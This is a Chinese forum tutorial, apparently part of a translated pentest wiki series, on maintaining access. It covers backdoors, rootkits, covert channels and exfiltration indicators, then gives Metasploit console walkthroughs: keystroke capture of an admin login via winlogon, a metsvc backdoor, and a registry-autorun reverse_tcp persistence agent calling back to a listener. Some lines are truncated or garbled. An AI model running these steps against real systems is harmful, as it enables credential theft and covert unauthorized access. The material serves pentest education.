登录

Pentest Wiki Part6 权限维持

wing / 2018-01-02 09:34:00 / 浏览数 2566 新手 入门资料 顶(0) 踩(0)

权限维持

0x01前言

PS：权限维持这一部分原项目只是介绍了权限维持这一概念，并没有说有哪些手法可以达到权限维持的目的，wing很辛苦的在寻找资料，但是很杂，国内国外总结的我没

一旦渗透测试人员设法进入目标系统，他应该努力维持他的权限，隐喻地说。他可以选择使用被劫持的系统作为发射台（就是成为DDoS攻击或垃圾邮件活动的僵尸网络的一
例如，渗透测试人员可以设置一个嗅探器来拦截所有入站/出站网络流量，包括FTP（文件传输协议）和与其他系统的远程登录会话，以便他稍后将数据传输到任何他想要的地
对于那些想要不被发现的人来说，要采取进一步措施来确保他们的存活。通过这种方式可以有不同的方式，但通常是通过安装隐藏的基础设施来实现基于后门，特洛伊木马，

0x02 权限维持的工具和方法

后门程序或木马程序是一种方便的工具，可以轻松访问已经被破坏的系统。一个木马提供在应用程序级别的访问,但是要实现这个目的，用户需要在本地安装的恶意软件。在W

就像远程访问木马（RAT）一样，后门程序安装在目标系统中，并带有内置的上传/下载功能。他们上传收集的感兴趣的文件，然后依靠诸如端口53（用于DNS）和80和443
报告，当攻击者使用HTTP传输数据并绕过检测时，网络事件绕过"连接限制"。基于[TrendMicro]调查，攻击者可能会手动下载包含所有收集数据的.ZIP文件。

隐蔽通道是指数据通过秘密通信隧道发送。VoIP，DNS隧道，ICMP隧道和HTTP隧道是从网络内部提取数据的路径。所有这些隐蔽通道也可以传输加密的数据。
尽管检测隐蔽通道并非不可能，但是受害者可能需要付出相当大的努力。网络签名，流量数据分析和协议分析是出站流量异常的一些指标，掌握正确的工具的渗透测试人员可

探测一个隐蔽的隧道是一回事，但是阻止它是完全不同的事情。渗透测试人员可以：

- 在公司信息边界阻止ICMP出站;
- 阻止对公司网络外部服务器的DNS请求，但不阻止内部DNS服务器;
- 利用Web代理来处理HTTP隧道;
  在VoIP
  RTR溢出隧道的情况下延迟传送语音邮件，以便他可以发送到音频处理器，该处理器将检查每个数据包的语音邮件中的编码数据（以与反垃圾邮件软件类似的方式）。

rootkit是一种在计算机系统隐藏的比较深的恶意软件，此，将Rootkit与其他类型的恶意软件区分开来的原因是它们隐藏自身的能力，以绕过计算机安全措施。实际上，这

Rootkit通常在特洛伊木马的帮助下加载，从具有"用户"级访问权的目标平台开始。一旦获得了攻击系统的初始立足点，它们就会监视密码和其他类似的登录操作。以获得"
与普通病毒在短时间内试图造成尽可能多的伤害不同，rootkit往往潜伏在目标系统中，逐渐慢慢地破坏它。Prima看来重点是"秘密"一词。例如，rootkit键盘记录器被设计为
在这方面，rootkits不同于一般的寄生虫，进入身体，但可能会保持多年，直到他们集结足够的力量克服体内的免疫系统。

如果我们把一个计算机系统分成三个基本层，那么我们最终将得到硬件，内核和操作系统级别。实质上，内核是操作系统的核心。用户级别的rootkit通常使用低优先级进程来

- 当他们将代码添加到操作系统内核的某些部分时，他们有能力伪装自己的存在;
- 他们比操作系统早运行;
- 他们可以躲避加密并创建无限制访问渗透系统的秘密渠道;
- 已经证明，删除内核级别和启动级别的rootkit通常并不那么简单;
- 驻留在内核内存中的Rootkit通常不会在硬盘上留下任何痕迹。此外，他们可能会修改文件，磁盘的一部分，甚至修改内核，以防止重新启动。

在内核级别安装的Rootkit可以获得对潜在攻击者枪瞄系统的完全管理员访问权限。与特洛伊木马不同，rootkit为操作系统级别铺平了一条访问路径。

关于如何删除rootkit的一些建议：
像防病毒软件这样的经典安全措施通常无法应对rootkit所代表的危险。作为一种替代方法，您可以选择旨在根除rootkit的专用程序之一：Malwarebytes
Anti-rootkit，GMER，Sophos Anti-Rootkit，TDSSKiller等，详情见此处!

尽管如此，有时候这些措施也有可能没什么效果，因为他们会取得成功只是缓解了一些危害，rootkit的传播在你的系统，不能保证，这些程序能够将rookit删除干净。
除了反rootkit软件之外，还可以启动"clean slate"程序 -
即备份最重要的文件并完全重新安装操作系统。在正常情况下，这样的行为将会消灭rootkit。但即使如此，仍然没有100%的保证，因为一个非常罕见的rootkit，BIOS级别
来源： https： //www.avast.com/c-rootkit

然而，无论rootkit如何难以隐藏，至少在理论上（如果对你有任何安慰的话）总是有迹象的，因为rootkit的目的是为外部人维护一个入口路径。

0x03数据泄露

数据泄露是指从计算机系统或IT服务器向外部系统或设备未经授权的数据传输。可以手动执行（类似于"复制粘贴"命令），也可以通过网络上的恶意软件自动执行。
2015年迈克菲报告指出，所有报告的数据泄露事件中有60%是通过直接电子手段发生的，而其余的40%涉及物理媒体，如将数据下载到USB驱动器或窃取笔记本电脑。这40

数据通过电子方式渗透时，通常通过不同的网络协议，隧道协议，电子邮件或文件传输。虽然文件传输协议（FTP）被认为是一种标准的网络协议，其目的是传输文件，但也
Management
Instrumentation，隐藏视频或图像中的数据以及VoIP。网络摄像机，麦克风，和类似的外围设备可能会被操纵来监视目标的活动。渗透测试人员也可以使用HTTP文件传输

有时在渗透测试之前，渗透测试人员想要处理数据，以便在被利用的系统之外更容易地转移数据。典型方法是压缩加密和密码保护。然后，处理的数据将从目标网络内上传到

这个 FrameworkPOS malware是演示数据泄露是如何工作的一个很好的例子-它利用了内存抓取技术，以挖掘出某个位置存储在端点上运行的进程的信用卡信息。
在查找到相关数据后，恶意软件将执行DNS隧道连接命令和控制服务器以提取数据。此外，FrameworkPOS通过对信用卡信息，主机名和IP地址进行XOR编码，并将编码后
未经检测的数据泄露是许多情况下的不法行为者正在寻找的，因为针对Target和Home Depot
的真实网络攻击表明了这一点。这是因为他们窃取的一些信息是保密的，当它保密的时候它更有价值.

当涉及到提前持续威胁（APT）和阻止恶意行为者泄露您的数据时，及早发现是至关重要的。每个组织应该有一个有效的威胁情报程序，这将有助于确定所有可以被视为与数

根据Splunk企业安全性，一些值得注意的数据泄露指标是全面调查的一个很好的起点。这些指标是：

-未经批准的港口活动

- 向非公司域1的大量电子邮件活动
- 过多的DNS查询
- 主机发送过多的邮件
- 网站上传到非公司网站的用户
  从本质上讲，防止数据泄露的有效方法是迄今为止关于检测和清除基本数据泄露（即特洛伊木马，后门，rootkit和隐蔽通道）的所有方法或工具。

[附加]使用msf进行权限维持

ps:本来想写写其他的手法，但是既然是wiki，我就按照这里的来介绍吧。

键盘记录

使用Metasploit的键盘记录器

在你渗透进入目标系统之后，你可以采取两种不同的选择，要么简单粗暴，要么猥琐取巧。

如果你有足够的耐心，后一种可以得到大量的信息。 您可以使用一个工具来进行慢速的信息收集，就是Meterpreter的按键记录器脚本。
这个工具设计得非常好，可以让你捕获来自系统的所有键盘输入，而不需要写任何东西到磁盘，留给调查者一个最小的线索，以便以后跟进。
完美的获取密码，用户帐户和各种其他有价值的信息。

让我们看看它的作用。 首先，我们将正常地利用一个系统。

```
msf■■■warftpd_165_user■> ■■

[*]■■■■■■■LHOST 0.0.0.0
[*]■■■■■■■■■
[*]■■■FTP■■■172.16.104.145:21 ...
[*]■■■■■■FTP■■■■■
[*]■■■■■Windows 2000 SP0-SP4■■...
[*]■■■■■■■■■■■■■■...■191■■■
[*]■■■■■■2650■■■
[*]■■■■■■■■■■.. ■
[*]■■DLL■75787■■■...
[*]■■■■■■
[*]■■Meterpreter■■■■4■172.16.104.130:4444 - > 172.16.104.145:1246■

meterpreter >
```

然后，我们将把Meterpreter迁移到Explorer.exe进程，以便我们不必担心被利用的进程重新设置并关闭会话。

```
meterpreter > ps

Process list
============

   PID   Name               Path
   ---   ----               ----
   140   smss.exe           \SystemRoot\System32\smss.exe
   188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe
   216   services.exe       C:\WINNT\system32\services.exe
   228   lsass.exe          C:\WINNT\system32\lsass.exe
   380   svchost.exe        C:\WINNT\system32\svchost.exe
   408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe
   444   svchost.exe        C:\WINNT\System32\svchost.exe
   480   regsvc.exe         C:\WINNT\system32\regsvc.exe
   500   MSTask.exe         C:\WINNT\system32\MSTask.exe
   528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe
   588   WinMgmt.exe        C:\WINNT\System32\WBEMWinMgmt.exe
```

```
   664   notepad.exe        C:\WINNT\System32\notepad.exe
   724   cmd.exe            C:\WINNT\System32\cmd.exe
   768   Explorer.exe       C:\WINNT\Explorer.exe
   800   war-ftpd.exe       C:\Program Files\War-ftpd\war-ftpd.exe
   888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe
   940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe
   972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
   1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768
```

最后，我们启动键盘记录器，等待一段时间并转储输出。

```
eterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
  tgoogle.cm my credit amex   myusernamthi     amexpasswordpassword
```

不可能更简单！注意如何表示按键，如控制和退格键。

作为一个额外的好处，如果你想捕获系统登录信息，你只需迁移到winlogon进程。这将捕获所有登录到系统的用户的凭据，只要这个用户正在运行。

```
meterpreter > ps

Process list
============

PID Name         Path
--- ----         ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe

meterpreter > migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!
```

在这里我们可以看到，通过登录到winlogon进程可以让我们有效地收集所有用户登录到该系统并捕获它。我们已经捕获管理员用"ohnoes1vebeenh4x0red！"的密码登录。

其实这里我们还可以这样思考：获取到一个webshell后，可以用这个来记录管理员的登录密码，为内网渗透做准备，运气好的话可以批量一波。

与Metsvc交互

现在我们将使用带有windows/metsvc_bind_tcp payload的多/处理程序连接到远程系统。这是一个特殊的 payload，因为典型的Meterpreter payload是多阶段的，其中最少量的代码作为漏洞利用的一部分被发送，然后在代码执行完成后上传更多的代码。
想想穿梭式火箭，以及用来使航天飞机进入轨道的助推火箭。这是非常相同的，除了多余的东西在那里，然后减小，Meterpreter开始尽可能小，然后增加。但是，在这种情
我们将metsvc_bind_tcp的所有选项与受害者的IP地址以及我们希望将服务连接到我们计算机上的端口一起设置好。然后我们运行这个漏洞。

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
```

```
Module options:

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------


Payload options (windows/metsvc_bind_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  thread           yes       Exit technique: seh, thread, process
  LPORT     31337            yes       The local port
  RHOST     192.168.1.104    no        The target address


Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target


msf exploit(handler) > exploit
```

exploit后，我们的metsvc后门立即连接到我们这里。

```
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)

meterpreter > ps

Process list
============

  PID   Name               Path
  ---   ----               ----
  140   smss.exe           \SystemRoot\System32\smss.exe
  168   csrss.exe          \??\C:\WINNT\system32\csrss.exe
  188   winlogon.exe       \??\C:WINNT\system32\winlogon.exe
  216   services.exe       C:\WINNT\system32\services.exe
  228   lsass.exe          C:\WINNT\system32\lsass.exe
  380   svchost.exe        C:\WINNT\system32\svchost.exe
  408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe
  444   svchost.exe        C:\WINNT\System32\svchost.exe
  480   regsvc.exe         C:\WINNT\system32\regsvc.exe
  500   MSTask.exe         C:\WINNT\system32\MSTask.exe
  528   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe
  564   metsvc.exe         c:\WINNT\my\metsvc.exe
  588   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe
  676   cmd.exe            C:\WINNT\System32\cmd.exe
  724   cmd.exe            C:\WINNT\System32\cmd.exe
  764   mmc.exe            C:\WINNT\system32\mmc.exe
  816   metsvc-server.exe  c:\WINNT\my\metsvc-server.exe
  888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe
  896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe
  940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe
  972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
  1000  Explorer.exe       C:\WINNT\Explorer.exe
  1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

在这里我们有一个典型的Meterpreter会话！其次，要小心，何时以及如何使用这个技巧。如果您通过在系统上放置这样一个有用的后门，使攻击者的工作更容易，但是系统

Meterpreter服务

了解Metasploit Meterpreter

在经历了所有渗透系统的艰苦工作之后，将自己较容易的方式留在系统中供以后使用通常是一个好主意，也就是我们常说的■■。这样，如果您最初利用的服务已关闭或打补

在我们继续下一步之前，有一个警告的话。这里显示的持久Meterpreter不需要认证。这意味着任何连接这个的人都可以进入后门！如果您正在进行渗透测试，这不是一件好

一旦我们获得已有权限的主机，我们用-h开关运行持久性脚本来查看哪些选项可用：

```
eterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

   -A        Automatically start a matching exploit/multi/handler to connect to the agent
   -L   Location in target host to write payload to, if none %TEMP% will be used.
   -P   Payload to use, default is windows/meterpreter/reverse_tcp.
   -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
   -T   Alternate executable template to use
   -U        Automatically start the agent when the User logs on
   -X        Automatically start the agent when the system boots
   -h        This help menu
   -i   The interval in seconds between each connection attempt
   -p   The port on which the system running Metasploit is listening
   -r   The IP of the system running Metasploit listening for the connect back
```

我们将设置持续的Meterpreter会话，等待用户登录到远程系统，然后尝试每隔5秒钟在端口443上的IP地址192.168.1.71连接回监听器。

```
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up
meterpreter >
```

请注意，脚本的输出为您提供了在完成时删除持久侦听器的命令。 一定要记下来，这样你就不会在系统上留下未经验证的后门。
要验证它是否工作，我们重新启动远程系统并设置我们的payload程序。

```
eterpreter > reboot
Rebooting...
meterpreter > exit

[*] Meterpreter session 3 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...
```

当用户登录到远程系统时，会为我们打开一个Meterpreter会话。

```
[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600

meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter >
```

权限维持的东西这些只是冰山一角，更多的等待我们自己去发现、探索。
关于后门，最近有个老师傅总结一些apt的。都是实战中得出的经验。
他们在这！
php安全新闻早八点-高级持续渗透-第一季关于后门
php安全新闻早八点-高级持续渗透-第二季关于后门补充一
php安全新闻早八点-高级持续渗透-第三季关于后门补充二
php安全新闻早八点-高级持续渗透-第四季关于后门

0x04结论

■■■■■■是一个具有非常具体的目的阶段 -
允许渗透测试者停留在目标系统中，直到他获得他认为有价值的信息，然后设法从系统中成功提权。然而，即使如此，说起来容易做起来难。让我们来比较一下，在未经他人
-和进入家里走一段时间是一回事，但是如果你想在没有吸引主人的注意的情况下再待一会儿，那又是另外一回事了。尽管在网络世界中这种类似Houdini的技巧可能会稍微

0x05参考文献列表

blog.globalknowledge.com■2011■■■■■■■5■■■■■■■■■■■http://blog.globalknowledge.com/technology/security/hacking-cybercrime/th

Bull■D■■2016■■■■■■■■■4■■■■■■■■■■■■■■■■■■■https://blogs.mcafee.com/business/data-exfiltration-part-4-data-leave-four-walls/

Buskirk■P■■2015■■■■■■■■■■■■■■■■■■■HTTP■S■Exfiltration■■■http://www.novetta.com/2015/01/advanced-methods-to-detect-advanc

DaBoss■2013■■■■■■■■Rootkit■■■http://www.cknow.com/cms/vtutor/stealth-viruses-and-rootkits.html■23-06-2016■

FixMeStick■2015■■■■■■■■ - ■■■Rootkit■■■https://www.fixmestick.com/blog/what-is-a-rootkit/■23-06-2016■

gadgetreview.com■2015■■■■■■Rootkit■■■■■■■■■■■■http://www.gadgetreview.com/what-are-rootkits-and-why-they-are-dangerous■23-

■■■■■■Rootkit■■■■■■■■■■https://usa.kaspersky.com/internet-security-center/internet-safety/what-is-rootkit-virus■23-06-2016■

■■N.■2015■■■■■■■■■■■■■https://digitalguardian.com/blog/what-data-exfiltration■23-06-2016■

Lewis■N.■2011■■■■■■■■■■■■■■■■■■■■■■http://searchsecurity.techtarget.com/answer/Detecting-covert-channels-to-prevent-enterp

McAfee■2015■■■■■■■■■■■■http://www.mcafee.com/us/resources/solution-briefs/sb-quarterly-threats-aug-2015-1.pdf■23-06-2016■

■■■■■■2015■■■■■■■Tunnelshell■■■■■■■■■■■■■■■■■http://null-byte.wonderhowto.com/how-to/hack-like-pro-create-nearly-undetecta

■■■■■■■2015■■■■■■■■■■ - ■■■■■■■■■■■■■■■■■■■http://www.tripwire.com/state-of-security/security-data-protection/cyber-secur

splunk.com■2014■■■■■■■■■■■■■■■http://www.splunk.com/en_us/solutions/solution-areas/security-and-fraud/use-cases/detect-and-

■■■■■■2013■■■■■■■■■■■■■■■■■■■■■■■■■http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/how_do_threat_acto

■■4 - ■■■■■■■■http://www.techrepublic.com/blog/it-security/the-five-phases-of-a-successful-network-penetration/■23-06-2016■

■■■■■■■“CIS 450 -■■■■■■15■-■■■■■” -■■■■■■■■http://slideplayer.com/slide/7323200/■23-06-2016■

■■■■■■rootkit■https://www.avast.com/c-rootkit■23-06-2016■

上一篇：Pentest Wiki Part... 下一篇：Pentest Wiki Part...

1. 2 条回复


wooyun 2018-01-02 10:30:25

不错

0 回复Ta


wing 2018-01-02 10:53:40

@wooyun 这方面资料我很难找，诶。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板